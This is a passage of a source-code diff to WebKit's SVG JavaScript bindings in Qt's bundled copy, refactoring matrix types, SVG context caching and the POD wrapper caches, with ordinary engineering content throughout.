-    SVGLength imp(*impl());
-    return jsNumber(exec, imp.value(context()));
+    JSSVGPODTypeWrapper<SVGLength>* imp = impl();
+    SVGElement* context = JSSVGContextCache::svgContextForDOMObject(const_cast<JSSVGLength*>(this));
+
+    SVGLength podImp(*imp);
+    return jsNumber(exec, podImp.value(context));
 }
 
 JSValue JSSVGLength::convertToSpecifiedUnits(ExecState* exec, const ArgList& args)
 {
-    JSSVGPODTypeWrapper<SVGLength>* wrapper = impl();
+    JSSVGPODTypeWrapper<SVGLength>* imp = impl();
+    SVGElement* context = JSSVGContextCache::svgContextForDOMObject(this);
 
-    SVGLength imp(*wrapper);
-    imp.convertToSpecifiedUnits(args.at(0).toInt32(exec), context());
+    SVGLength podImp(*imp);
+    podImp.convertToSpecifiedUnits(args.at(0).toInt32(exec), context);
 
-    wrapper->commitChange(imp, context());
+    imp->commitChange(podImp, this);
     return jsUndefined();
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGMatrixCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGMatrixCustom.cpp
index 35390b2..59e3f03 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGMatrixCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGMatrixCustom.cpp
@@ -1,5 +1,6 @@
 /*
  * Copyright (C) 2006, 2007, 2008 Nikolas Zimmermann <zimmermann@kde.org>
+ * Copyright (C) 2009 Jeff Schiller <codedread@gmail.com>
  *
  * This library is free software; you can redistribute it and/or
  * modify it under the terms of the GNU Library General Public
@@ -22,17 +23,37 @@
 #if ENABLE(SVG)
 #include "JSSVGMatrix.h"
 
-#include "TransformationMatrix.h"
+#include "AffineTransform.h"
 #include "SVGException.h"
+#include <runtime/Error.h>
 
 using namespace JSC;
 
 namespace WebCore {
 
+JSValue JSSVGMatrix::multiply(ExecState* exec, const ArgList& args)
+{
+    if (args.size() < 1)
+        return throwError(exec, SyntaxError, "Not enough arguments");
+
+    if (!args.at(0).inherits(&JSSVGMatrix::s_info))
+        return throwError(exec, TypeError, "secondMatrix argument was not a SVGMatrix");
+
+    JSSVGMatrix* matrixObj = static_cast<JSSVGMatrix*>(asObject(args.at(0)));
+
+    AffineTransform m1(*impl());
+    AffineTransform m2(*(matrixObj->impl()));
+
+    SVGElement* context = JSSVGContextCache::svgContextForDOMObject(this);
+    return toJS(exec, globalObject(), JSSVGStaticPODTypeWrapper<AffineTransform>::create(m1.multLeft(m2)).get(), context);
+}
+
 JSValue JSSVGMatrix::inverse(ExecState* exec, const ArgList&)
 {
-    TransformationMatrix imp(*impl());
-    JSC::JSValue result = toJS(exec, deprecatedGlobalObjectForPrototype(exec), JSSVGStaticPODTypeWrapper<TransformationMatrix>::create(imp.inverse()).get(), m_context.get());
+    AffineTransform imp(*impl());
+
+    SVGElement* context = JSSVGContextCache::svgContextForDOMObject(this);
+    JSValue result = toJS(exec, globalObject(), JSSVGStaticPODTypeWrapper<AffineTransform>::create(imp.inverse()).get(), context);
 
     if (!imp.isInvertible())
         setDOMException(exec, SVGException::SVG_MATRIX_NOT_INVERTABLE);
@@ -42,12 +63,13 @@ JSValue JSSVGMatrix::inverse(ExecState* exec, const ArgList&)
 
 JSValue JSSVGMatrix::rotateFromVector(ExecState* exec, const ArgList& args)
 {
-    TransformationMatrix imp(*impl());
+    AffineTransform imp(*impl());
  
     float x = args.at(0).toFloat(exec);
     float y = args.at(1).toFloat(exec);
 
-    JSC::JSValue result = toJS(exec, deprecatedGlobalObjectForPrototype(exec), JSSVGStaticPODTypeWrapper<TransformationMatrix>::create(imp.rotateFromVector(x, y)).get(), m_context.get());
+    SVGElement* context = JSSVGContextCache::svgContextForDOMObject(this);
+    JSValue result = toJS(exec, globalObject(), JSSVGStaticPODTypeWrapper<AffineTransform>::create(imp.rotateFromVector(x, y)).get(), context);
 
     if (x == 0.0 || y == 0.0)
         setDOMException(exec, SVGException::SVG_INVALID_VALUE_ERR);
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPODListCustom.h b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPODListCustom.h
new file mode 100644
index 0000000..8a0654c
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPODListCustom.h
@@ -0,0 +1,199 @@
+/*
+ * Copyright (C) Research In Motion Limited 2010. All rights reserved.
+ * Copyright (C) 2007, 2008 Nikolas Zimmermann <zimmermann@kde.org>
+ * Copyright (C) 2008 Apple Inc. All rights reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Library General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Library General Public License for more details.
+ *
+ * You should have received a copy of the GNU Library General Public License
+ * along with this library; see the file COPYING.LIB.  If not, write to
+ * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+ * Boston, MA 02110-1301, USA.
+ */
+
+#ifndef JSSVGPODListCustom_h
+#define JSSVGPODListCustom_h
+
+#include "JSSVGContextCache.h"
+#include "JSSVGPODTypeWrapper.h"
+#include "SVGList.h"
+
+namespace WebCore {
+
+namespace JSSVGPODListCustom {
+
+// Helper structure only containing public typedefs, as C++ does not allow templatized typedefs
+template<typename PODType>
+struct JSSVGPODListTraits { 
+    typedef SVGPODListItem<PODType> PODListItem;
+    typedef SVGList<RefPtr<PODListItem> > PODList;
+    typedef PODType (*ConversionCallback)(JSC::JSValue);
+};
+
+template<typename JSPODListType, typename PODType>
+static JSC::JSValue finishGetter(JSC::ExecState* exec, ExceptionCode& ec, JSPODListType* wrapper,
+                                 PassRefPtr<typename JSSVGPODListTraits<PODType>::PODListItem> item)
+{
+    if (ec) {
+        setDOMException(exec, ec);
+        return JSC::jsUndefined();
+    }
+    
+    typename JSSVGPODListTraits<PODType>::PODList* listImp = wrapper->impl();
+
+    SVGElement* context = JSSVGContextCache::svgContextForDOMObject(wrapper);
+    return toJS(exec, wrapper->globalObject(),
+                JSSVGPODTypeWrapperCreatorForList<PODType>::create(item.get(), listImp->associatedAttributeName()).get(), context);
+}
+
+template<typename JSPODListType, typename PODType>
+static JSC::JSValue finishSetter(JSC::ExecState* exec, ExceptionCode& ec, JSPODListType* wrapper,                                
+                                 PassRefPtr<typename JSSVGPODListTraits<PODType>::PODListItem> item)
+{
+    if (ec) {
+        setDOMException(exec, ec);
+        return JSC::jsUndefined();
+    }
+
+    typename JSSVGPODListTraits<PODType>::PODList* listImp = wrapper->impl();
+
+    const QualifiedName& attributeName = listImp->associatedAttributeName();
+    JSSVGContextCache::propagateSVGDOMChange(wrapper, attributeName);
+
+    SVGElement* context = JSSVGContextCache::svgContextForDOMObject(wrapper);
+    return toJS(exec, wrapper->globalObject(),
+                JSSVGPODTypeWrapperCreatorForList<PODType>::create(item.get(), attributeName).get(), context);
+}
+
+template<typename JSPODListType, typename PODType>
+static JSC::JSValue finishSetterReadOnlyResult(JSC::ExecState* exec, ExceptionCode& ec, JSPODListType* wrapper,                                
+                                               PassRefPtr<typename JSSVGPODListTraits<PODType>::PODListItem> item)
+{
+    if (ec) {
+        setDOMException(exec, ec);
+        return JSC::jsUndefined();
+    }
+
+    typename JSSVGPODListTraits<PODType>::PODList* listImp = wrapper->impl();
+    JSSVGContextCache::propagateSVGDOMChange(wrapper, listImp->associatedAttributeName());
+    return toJS(exec, wrapper->globalObject(),
+                JSSVGStaticPODTypeWrapper<PODType>::create(*item).get(), 0  /* no context on purpose */);
+}
+
+template<typename JSPODListType, typename PODType>
+static JSC::JSValue clear(JSPODListType* wrapper, JSC::ExecState* exec, const JSC::ArgList&,
+                          typename JSSVGPODListTraits<PODType>::ConversionCallback)
+{
+    ExceptionCode ec = 0;
+    typename JSSVGPODListTraits<PODType>::PODList* listImp = wrapper->impl();
+    listImp->clear(ec);
+
+    if (ec)
+        setDOMException(exec, ec);
+    else
+        JSSVGContextCache::propagateSVGDOMChange(wrapper, listImp->associatedAttributeName());
+
+    return JSC::jsUndefined();
+}
+
+template<typename JSPODListType, typename PODType>
+static JSC::JSValue initialize(JSPODListType* wrapper, JSC::ExecState* exec, const JSC::ArgList& args,
+                               typename JSSVGPODListTraits<PODType>::ConversionCallback conversion)
+{
+    ExceptionCode ec = 0;
+    typename JSSVGPODListTraits<PODType>::PODList* listImp = wrapper->impl();
+    return finishSetter<JSPODListType, PODType>(exec, ec, wrapper,
+                                                listImp->initialize(JSSVGPODListTraits<PODType>::PODListItem::copy(conversion(args.at(0))), ec));
+}
+
+template<typename JSPODListType, typename PODType>
+static JSC::JSValue getItem(JSPODListType* wrapper, JSC::ExecState* exec, const JSC::ArgList& args,
+                            typename JSSVGPODListTraits<PODType>::ConversionCallback)
+{
+    bool indexOk = false;
+    unsigned index = args.at(0).toUInt32(exec, indexOk);
+    if (!indexOk) {
+        setDOMException(exec, TYPE_MISMATCH_ERR);
+        return JSC::jsUndefined();
+    }
+
+    ExceptionCode ec = 0;
+    typename JSSVGPODListTraits<PODType>::PODList* listImp = wrapper->impl();
+    return finishGetter<JSPODListType, PODType>(exec, ec, wrapper,
+                                                listImp->getItem(index, ec));
+}
+
+template<typename JSPODListType, typename PODType>
+static JSC::JSValue insertItemBefore(JSPODListType* wrapper, JSC::ExecState* exec, const JSC::ArgList& args,
+                                     typename JSSVGPODListTraits<PODType>::ConversionCallback conversion)
+{
+    bool indexOk = false;
+    unsigned index = args.at(1).toUInt32(exec, indexOk);
+    if (!indexOk) {
+        setDOMException(exec, TYPE_MISMATCH_ERR);
+        return JSC::jsUndefined();
+    }
+
+    ExceptionCode ec = 0;
+    typename JSSVGPODListTraits<PODType>::PODList* listImp = wrapper->impl();
+    return finishSetter<JSPODListType, PODType>(exec, ec, wrapper,
+                                                listImp->insertItemBefore(JSSVGPODListTraits<PODType>::PODListItem::copy(conversion(args.at(0))), index, ec));
+}
+
+template<typename JSPODListType, typename PODType>
+static JSC::JSValue replaceItem(JSPODListType* wrapper, JSC::ExecState* exec, const JSC::ArgList& args,
+                                typename JSSVGPODListTraits<PODType>::ConversionCallback conversion)
+{
+    bool indexOk = false;
+    unsigned index = args.at(1).toUInt32(exec, indexOk);
+    if (!indexOk) {
+        setDOMException(exec, TYPE_MISMATCH_ERR);
+        return JSC::jsUndefined();
+    }
+
+    ExceptionCode ec = 0;
+    typename JSSVGPODListTraits<PODType>::PODList* listImp = wrapper->impl();
+    return finishSetter<JSPODListType, PODType>(exec, ec, wrapper,
+                                                listImp->replaceItem(JSSVGPODListTraits<PODType>::PODListItem::copy(conversion(args.at(0))), index, ec));
+}
+
+template<typename JSPODListType, typename PODType>
+static JSC::JSValue removeItem(JSPODListType* wrapper, JSC::ExecState* exec, const JSC::ArgList& args,
+                               typename JSSVGPODListTraits<PODType>::ConversionCallback)
+{
+    bool indexOk = false;
+    unsigned index = args.at(0).toUInt32(exec, indexOk);
+    if (!indexOk) {
+        setDOMException(exec, TYPE_MISMATCH_ERR);
+        return JSC::jsUndefined();
+    }
+
+    ExceptionCode ec = 0;
+    typename JSSVGPODListTraits<PODType>::PODList* listImp = wrapper->impl();
+    return finishSetterReadOnlyResult<JSPODListType, PODType>(exec, ec, wrapper,
+                                                              listImp->removeItem(index, ec));
+}
+
+template<typename JSPODListType, typename PODType>
+static JSC::JSValue appendItem(JSPODListType* wrapper, JSC::ExecState* exec, const JSC::ArgList& args,
+                               typename JSSVGPODListTraits<PODType>::ConversionCallback conversion)
+{
+    ExceptionCode ec = 0;
+    typename JSSVGPODListTraits<PODType>::PODList* listImp = wrapper->impl();
+    return finishSetter<JSPODListType, PODType>(exec, ec, wrapper,
+                                                listImp->appendItem(JSSVGPODListTraits<PODType>::PODListItem::copy(conversion(args.at(0))), ec));
+}
+
+}
+
+}
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPODTypeWrapper.h b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPODTypeWrapper.h
index 51e4e9e..2efc60e 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPODTypeWrapper.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPODTypeWrapper.h
@@ -28,28 +28,31 @@
 #define JSSVGPODTypeWrapper_h
 
 #if ENABLE(SVG)
+#include "JSSVGContextCache.h"
 #include "SVGElement.h"
 #include <wtf/StdLibExtras.h>
 
 namespace WebCore {
 
+class DOMObject;
+
 template<typename PODType>
 class JSSVGPODTypeWrapper : public RefCounted<JSSVGPODTypeWrapper<PODType> > {
 public:
     virtual ~JSSVGPODTypeWrapper() { }
 
     virtual operator PODType() = 0;
-    virtual void commitChange(PODType, SVGElement*) = 0;
+    virtual void commitChange(PODType, DOMObject*) = 0;
 };
 
 // This file contains JS wrapper objects for SVG datatypes, that are passed around by value
-// in WebCore/svg (aka. 'POD types'). For instance SVGMatrix is mapped to TransformationMatrix, and
+// in WebCore/svg (aka. 'POD types'). For instance SVGMatrix is mapped to AffineTransform, and
 // passed around as const reference. SVG DOM demands these objects to be "live", changes to any
 // of the writable attributes of SVGMatrix need to be reflected in the object which exposed the
-// SVGMatrix object (ie. 'someElement.transform.matrix.a = 50.0', in that case 'SVGTransform').
-// The SVGTransform class stores its "TransformationMatrix m_matrix" object on the stack. If it would
+// SVGMatrix object (i.e. 'someElement.transform.matrix.a = 50.0', in that case 'SVGTransform').
+// The SVGTransform class stores its "AffineTransform m_matrix" object on the stack. If it would
 // be stored as pointer we could just build an auto-generated JSSVG* wrapper object around it
-// and all changes to that object would automatically affect the TransformationMatrix* object stored
+// and all changes to that object would automatically affect the AffineTransform* object stored
 // in the SVGTransform object. For the sake of efficiency and memory we don't pass around any
 // primitive values as pointers, so a custom JS wrapper object is needed for all SVG types, that
 // are internally represented by POD types (SVGRect <-> FloatRect, SVGPoint <-> FloatPoint, ...).
@@ -68,13 +71,13 @@ public:
 // GetterMethod and SetterMethod are each 12 bytes. We have to pack to a size
 // greater than or equal to that to avoid an alignment warning (C4121). 16 is
 // the next-largest size allowed for packing, so we use that.
-#pragma pack(16)
+#pragma pack(push, 16)
 #endif
 template<typename PODType, typename PODTypeCreator>
 class JSSVGDynamicPODTypeWrapper : public JSSVGPODTypeWrapper<PODType> {
 public:
     typedef PODType (PODTypeCreator::*GetterMethod)() const; 
-    typedef void (PODTypeCreator::*SetterMethod)(PODType);
+    typedef void (PODTypeCreator::*SetterMethod)(const PODType&);
 
     static PassRefPtr<JSSVGDynamicPODTypeWrapper> create(PassRefPtr<PODTypeCreator> creator, GetterMethod getter, SetterMethod setter)
     {
@@ -86,12 +89,10 @@ public:
         return (m_creator.get()->*m_getter)();
     }
 
-    virtual void commitChange(PODType type, SVGElement* context)
+    virtual void commitChange(PODType type, DOMObject* wrapper)
     {
         (m_creator.get()->*m_setter)(type);
-
-        if (context)
-            context->svgAttributeChanged(m_creator->associatedAttributeName());
+        JSSVGContextCache::propagateSVGDOMChange(wrapper, m_creator->associatedAttributeName());
     }
 
 private:
@@ -105,15 +106,20 @@ private:
         ASSERT(m_setter);
     }
 
+    virtual ~JSSVGDynamicPODTypeWrapper();
+
     // Update callbacks
     RefPtr<PODTypeCreator> m_creator;
     GetterMethod m_getter;
     SetterMethod m_setter;
 };
+#if COMPILER(MSVC)
+#pragma pack(pop)
+#endif
 
-// Represents a JS wrapper object for SVG POD types (not for SVGAnimated* clases). Any modification to the SVG POD
+// Represents a JS wrapper object for SVG POD types (not for SVGAnimated* classes). Any modification to the SVG POD
 // types don't cause any updates unlike JSSVGDynamicPODTypeWrapper. This class is used for return values (ie. getBBox())
-// and for properties where SVG specification explicitely states, that the contents of the POD type are immutable.
+// and for properties where SVG specification explicitly states, that the contents of the POD type are immutable.
 
 template<typename PODType>
 class JSSVGStaticPODTypeWrapper : public JSSVGPODTypeWrapper<PODType> {
@@ -128,7 +134,7 @@ public:
         return m_podType;
     }
 
-    virtual void commitChange(PODType type, SVGElement*)
+    virtual void commitChange(PODType type, DOMObject*)
     {
         m_podType = type;
     }
@@ -152,10 +158,10 @@ public:
         return adoptRef(new JSSVGStaticPODTypeWrapperWithPODTypeParent(type, parent));
     }
 
-    virtual void commitChange(PODType type, SVGElement* context)
+    virtual void commitChange(PODType type, DOMObject* wrapper)
     {
-        JSSVGStaticPODTypeWrapper<PODType>::commitChange(type, context);
-        m_parentType->commitChange(ParentTypeArg(type), context);    
+        JSSVGStaticPODTypeWrapper<PODType>::commitChange(type, wrapper);
+        m_parentType->commitChange(ParentTypeArg(type), wrapper);
     }
 
 private:
@@ -172,7 +178,7 @@ private:
 // GetterMethod and SetterMethod are each 12 bytes. We have to pack to a size
 // greater than or equal to that to avoid an alignment warning (C4121). 16 is
 // the next-largest size allowed for packing, so we use that.
-#pragma pack(16)
+#pragma pack(push, 16)
 #endif
 template<typename PODType, typename ParentType>
 class JSSVGStaticPODTypeWrapperWithParent : public JSSVGPODTypeWrapper<PODType> {
@@ -190,7 +196,7 @@ public:
         return (m_parent.get()->*m_getter)();
     }
 
-    virtual void commitChange(PODType type, SVGElement*)
+    virtual void commitChange(PODType type, DOMObject*)
     {
         (m_parent.get()->*m_setter)(type);
     }
@@ -223,7 +229,7 @@ public:
     typedef SVGPODListItem<PODType> PODListItemPtrType;
 
     typedef PODType (SVGPODListItem<PODType>::*GetterMethod)() const; 
-    typedef void (SVGPODListItem<PODType>::*SetterMethod)(PODType);
+    typedef void (SVGPODListItem<PODType>::*SetterMethod)(const PODType&);
 
     static PassRefPtr<JSSVGPODTypeWrapperCreatorForList> create(PassRefPtr<PODListItemPtrType> creator, const QualifiedName& attributeName)
     {
@@ -235,15 +241,13 @@ public:
         return (m_creator.get()->*m_getter)();
     }
 
-    virtual void commitChange(PODType type, SVGElement* context)
+    virtual void commitChange(PODType type, DOMObject* wrapper)
     {
         if (!m_setter)
             return;
 
         (m_creator.get()->*m_setter)(type);
-
-        if (context)
-            context->svgAttributeChanged(m_associatedAttributeName);
+        JSSVGContextCache::propagateSVGDOMChange(wrapper, m_associatedAttributeName);
     }
 
 private:
@@ -269,7 +273,7 @@ private:
 template<typename PODType, typename PODTypeCreator>
 struct PODTypeWrapperCacheInfo {
     typedef PODType (PODTypeCreator::*GetterMethod)() const; 
-    typedef void (PODTypeCreator::*SetterMethod)(PODType);
+    typedef void (PODTypeCreator::*SetterMethod)(const PODType&);
 
     // Empty value
     PODTypeWrapperCacheInfo()
@@ -309,6 +313,9 @@ struct PODTypeWrapperCacheInfo {
     GetterMethod getter;
     SetterMethod setter;
 };
+#if COMPILER(MSVC)
+#pragma pack(pop)
+#endif
 
 template<typename PODType, typename PODTypeCreator>
 struct PODTypeWrapperCacheInfoHash {
@@ -351,60 +358,53 @@ struct PODTypeWrapperCacheInfoTraits : WTF::GenericHashTraits<PODTypeWrapperCach
     }
 };
 
+// Used for dynamic read-write attributes
 template<typename PODType, typename PODTypeCreator>
 class JSSVGDynamicPODTypeWrapperCache {
 public:
     typedef PODType (PODTypeCreator::*GetterMethod)() const; 
-    typedef void (PODTypeCreator::*SetterMethod)(PODType);
+    typedef void (PODTypeCreator::*SetterMethod)(const PODType&);
 
     typedef PODTypeWrapperCacheInfo<PODType, PODTypeCreator> CacheInfo;
     typedef PODTypeWrapperCacheInfoHash<PODType, PODTypeCreator> CacheInfoHash;
     typedef PODTypeWrapperCacheInfoTraits<PODType, PODTypeCreator> CacheInfoTraits;
 
     typedef JSSVGPODTypeWrapper<PODType> WrapperBase;
-    typedef JSSVGDynamicPODTypeWrapper<PODType, PODTypeCreator> DynamicWrapper;
-    typedef HashMap<CacheInfo, DynamicWrapper*, CacheInfoHash, CacheInfoTraits> DynamicWrapperHashMap;
-    typedef typename DynamicWrapperHashMap::const_iterator DynamicWrapperHashMapIterator;
+    typedef JSSVGDynamicPODTypeWrapper<PODType, PODTypeCreator> Wrapper;
+    typedef HashMap<CacheInfo, Wrapper*, CacheInfoHash, CacheInfoTraits> WrapperMap;
 
-    static DynamicWrapperHashMap& dynamicWrapperHashMap()
+    static WrapperMap& wrapperMap()
     {
-        DEFINE_STATIC_LOCAL(DynamicWrapperHashMap, s_dynamicWrapperHashMap, ());
-        return s_dynamicWrapperHashMap;
+        DEFINE_STATIC_LOCAL(WrapperMap, s_wrapperMap, ());
+        return s_wrapperMap;
     }
 
-    // Used for readwrite attributes only
     static PassRefPtr<WrapperBase> lookupOrCreateWrapper(PODTypeCreator* creator, GetterMethod getter, SetterMethod setter)
     {
-        DynamicWrapperHashMap& map(dynamicWrapperHashMap());
         CacheInfo info(creator, getter, setter);
+        pair<typename WrapperMap::iterator, bool> result = wrapperMap().add(info, 0);
+        if (!result.second) // pre-existing entry
+            return result.first->second;
 
-        if (map.contains(info))
-            return map.get(info);
-
-        RefPtr<DynamicWrapper> wrapper = DynamicWrapper::create(creator, getter, setter);
-        map.set(info, wrapper.get());
+        RefPtr<Wrapper> wrapper = Wrapper::create(creator, getter, setter);
+        result.first->second = wrapper.get();
         return wrapper.release();
     }
 
-    static void forgetWrapper(WrapperBase* wrapper)
+    static void forgetWrapper(PODTypeCreator* creator, GetterMethod getter, SetterMethod setter)
     {
-        DynamicWrapperHashMap& map(dynamicWrapperHashMap());
-
-        DynamicWrapperHashMapIterator it = map.begin();
-        DynamicWrapperHashMapIterator end = map.end();
-
-        for (; it != end; ++it) {
-            if (it->second != wrapper)
-                continue;
-
-            // It's guaranteed that there's just one object we need to take care of.
-            map.remove(it->first);
-            break;
-        }
+        CacheInfo info(creator, getter, setter);
+        wrapperMap().remove(info);
     }
 };
 
-};
+template<typename PODType, typename PODTypeCreator>
+JSSVGDynamicPODTypeWrapper<PODType, PODTypeCreator>::~JSSVGDynamicPODTypeWrapper()
+{
+    JSSVGDynamicPODTypeWrapperCache<PODType, PODTypeCreator>::forgetWrapper(m_creator.get(), m_getter, m_setter);
+}
+
+} // namespace WebCore
 
 #endif // ENABLE(SVG)
 #endif // JSSVGPODTypeWrapper_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPathSegCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPathSegCustom.cpp
index 42fa878..eac2c4b 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPathSegCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPathSegCustom.cpp
@@ -21,6 +21,8 @@
 
 #if ENABLE(SVG)
 #include "JSSVGPathSeg.h"
+
+#include "JSDOMBinding.h"
 #include "JSSVGPathSegArcAbs.h"
 #include "JSSVGPathSegArcRel.h"
 #include "JSSVGPathSegClosePath.h"
@@ -40,9 +42,6 @@
 #include "JSSVGPathSegLinetoVerticalRel.h"
 #include "JSSVGPathSegMovetoAbs.h"
 #include "JSSVGPathSegMovetoRel.h"
-
-#include "JSDOMBinding.h"
-
 #include "SVGPathSeg.h"
 #include "SVGPathSegArc.h"
 #include "SVGPathSegClosePath.h"
@@ -64,8 +63,10 @@ JSValue toJS(ExecState* exec, JSDOMGlobalObject* globalObject, SVGPathSeg* objec
     if (!object)
         return jsNull();
 
-    if (DOMObject* wrapper = getCachedDOMObjectWrapper(exec->globalData(), object))
+    if (DOMObject* wrapper = getCachedDOMObjectWrapper(exec, object)) {
+        ASSERT(JSSVGContextCache::svgContextForDOMObject(wrapper) == context);
         return wrapper;
+    }
 
     switch (object->pathSegType()) {
     case SVGPathSeg::PATHSEG_CLOSEPATH:
@@ -115,5 +116,3 @@ JSValue toJS(ExecState* exec, JSDOMGlobalObject* globalObject, SVGPathSeg* objec
 }
 
 #endif // ENABLE(SVG)
-
-// vim:ts=4:noet
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPathSegListCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPathSegListCustom.cpp
index b71f3a6..4831727 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPathSegListCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPathSegListCustom.cpp
@@ -24,6 +24,7 @@
 
 #include "Document.h"
 #include "Frame.h"
+#include "JSSVGContextCache.h"
 #include "JSSVGPathSeg.h"
 #include "SVGDocumentExtensions.h"
 #include "SVGElement.h"
@@ -39,12 +40,12 @@ JSValue JSSVGPathSegList::clear(ExecState* exec, const ArgList&)
 {
     ExceptionCode ec = 0;
 
-    SVGPathSegList* imp = static_cast<SVGPathSegList*>(impl());
-    imp->clear(ec);
+    SVGPathSegList* list = impl();
+    list->clear(ec);
 
     setDOMException(exec, ec);
 
-    m_context->svgAttributeChanged(imp->associatedAttributeName());
+    JSSVGContextCache::propagateSVGDOMChange(this, list->associatedAttributeName());
     return jsUndefined();
 }
 
@@ -53,14 +54,15 @@ JSValue JSSVGPathSegList::initialize(ExecState* exec, const ArgList& args)
     ExceptionCode ec = 0;
     SVGPathSeg* newItem = toSVGPathSeg(args.at(0));
 
-    SVGPathSegList* imp = static_cast<SVGPathSegList*>(impl());
+    SVGPathSegList* list = impl();
 
-    SVGPathSeg* obj = WTF::getPtr(imp->initialize(newItem, ec));
+    SVGPathSeg* obj = WTF::getPtr(list->initialize(newItem, ec));
+    SVGElement* context = JSSVGContextCache::svgContextForDOMObject(this);
 
-    JSC::JSValue result = toJS(exec, deprecatedGlobalObjectForPrototype(exec), obj, m_context.get());
+    JSValue result = toJS(exec, globalObject(), obj, context);
     setDOMException(exec, ec);
 
-    m_context->svgAttributeChanged(imp->associatedAttributeName());    
+    JSSVGContextCache::propagateSVGDOMChange(this, list->associatedAttributeName());
     return result;
 }
 
@@ -75,10 +77,11 @@ JSValue JSSVGPathSegList::getItem(ExecState* exec, const ArgList& args)
         return jsUndefined();
     }
 
-    SVGPathSegList* imp = static_cast<SVGPathSegList*>(impl());
-    SVGPathSeg* obj = WTF::getPtr(imp->getItem(index, ec));
+    SVGPathSegList* list = impl();
+    SVGPathSeg* obj = WTF::getPtr(list->getItem(index, ec));
+    SVGElement* context = JSSVGContextCache::svgContextForDOMObject(this);
 
-    JSC::JSValue result = toJS(exec, deprecatedGlobalObjectForPrototype(exec), obj, m_context.get());
+    JSValue result = toJS(exec, globalObject(), obj, context);
     setDOMException(exec, ec);
     return result;
 }
@@ -95,12 +98,13 @@ JSValue JSSVGPathSegList::insertItemBefore(ExecState* exec, const ArgList& args)
         return jsUndefined();
     }
 
-    SVGPathSegList* imp = static_cast<SVGPathSegList*>(impl());
+    SVGPathSegList* list = impl();
+    SVGElement* context = JSSVGContextCache::svgContextForDOMObject(this);
 
-    JSC::JSValue result = toJS(exec, deprecatedGlobalObjectForPrototype(exec), WTF::getPtr(imp->insertItemBefore(newItem, index, ec)), m_context.get());
+    JSValue result = toJS(exec, globalObject(), WTF::getPtr(list->insertItemBefore(newItem, index, ec)), context);
     setDOMException(exec, ec);
 
-    m_context->svgAttributeChanged(imp->associatedAttributeName());    
+    JSSVGContextCache::propagateSVGDOMChange(this, list->associatedAttributeName());
     return result;
 }
 
@@ -116,12 +120,13 @@ JSValue JSSVGPathSegList::replaceItem(ExecState* exec, const ArgList& args)
         return jsUndefined();
     }
 
-    SVGPathSegList* imp = static_cast<SVGPathSegList*>(impl());
+    SVGPathSegList* list = impl();
+    SVGElement* context = JSSVGContextCache::svgContextForDOMObject(this);
 
-    JSC::JSValue result = toJS(exec, deprecatedGlobalObjectForPrototype(exec), WTF::getPtr(imp->replaceItem(newItem, index, ec)), m_context.get());
+    JSValue result = toJS(exec, globalObject(), WTF::getPtr(list->replaceItem(newItem, index, ec)), context);
     setDOMException(exec, ec);
 
-    m_context->svgAttributeChanged(imp->associatedAttributeName());    
+    JSSVGContextCache::propagateSVGDOMChange(this, list->associatedAttributeName());
     return result;
 }
 
@@ -136,14 +141,15 @@ JSValue JSSVGPathSegList::removeItem(ExecState* exec, const ArgList& args)
         return jsUndefined();
     }
 
-    SVGPathSegList* imp = static_cast<SVGPathSegList*>(impl());
+    SVGPathSegList* list = impl();
 
-    RefPtr<SVGPathSeg> obj(imp->removeItem(index, ec));
+    RefPtr<SVGPathSeg> obj(list->removeItem(index, ec));
+    SVGElement* context = JSSVGContextCache::svgContextForDOMObject(this);
 
-    JSC::JSValue result = toJS(exec, deprecatedGlobalObjectForPrototype(exec), obj.get(), m_context.get());
+    JSValue result = toJS(exec, globalObject(), obj.get(), context);
     setDOMException(exec, ec);
 
-    m_context->svgAttributeChanged(imp->associatedAttributeName());    
+    JSSVGContextCache::propagateSVGDOMChange(this, list->associatedAttributeName());
     return result;
 }
 
@@ -152,12 +158,13 @@ JSValue JSSVGPathSegList::appendItem(ExecState* exec, const ArgList& args)
     ExceptionCode ec = 0;
     SVGPathSeg* newItem = toSVGPathSeg(args.at(0));
 
-    SVGPathSegList* imp = static_cast<SVGPathSegList*>(impl());
+    SVGPathSegList* list = impl();
+    SVGElement* context = JSSVGContextCache::svgContextForDOMObject(this);
 
-    JSC::JSValue result = toJS(exec, deprecatedGlobalObjectForPrototype(exec), WTF::getPtr(imp->appendItem(newItem, ec)), m_context.get());
+    JSValue result = toJS(exec, globalObject(), WTF::getPtr(list->appendItem(newItem, ec)), context);
     setDOMException(exec, ec);
 
-    m_context->svgAttributeChanged(imp->associatedAttributeName());    
+    JSSVGContextCache::propagateSVGDOMChange(this, list->associatedAttributeName());
     return result;
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPointListCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSSVGPointListCustom.cpp
deleted file mode 100644
index 1969fe2..0000000
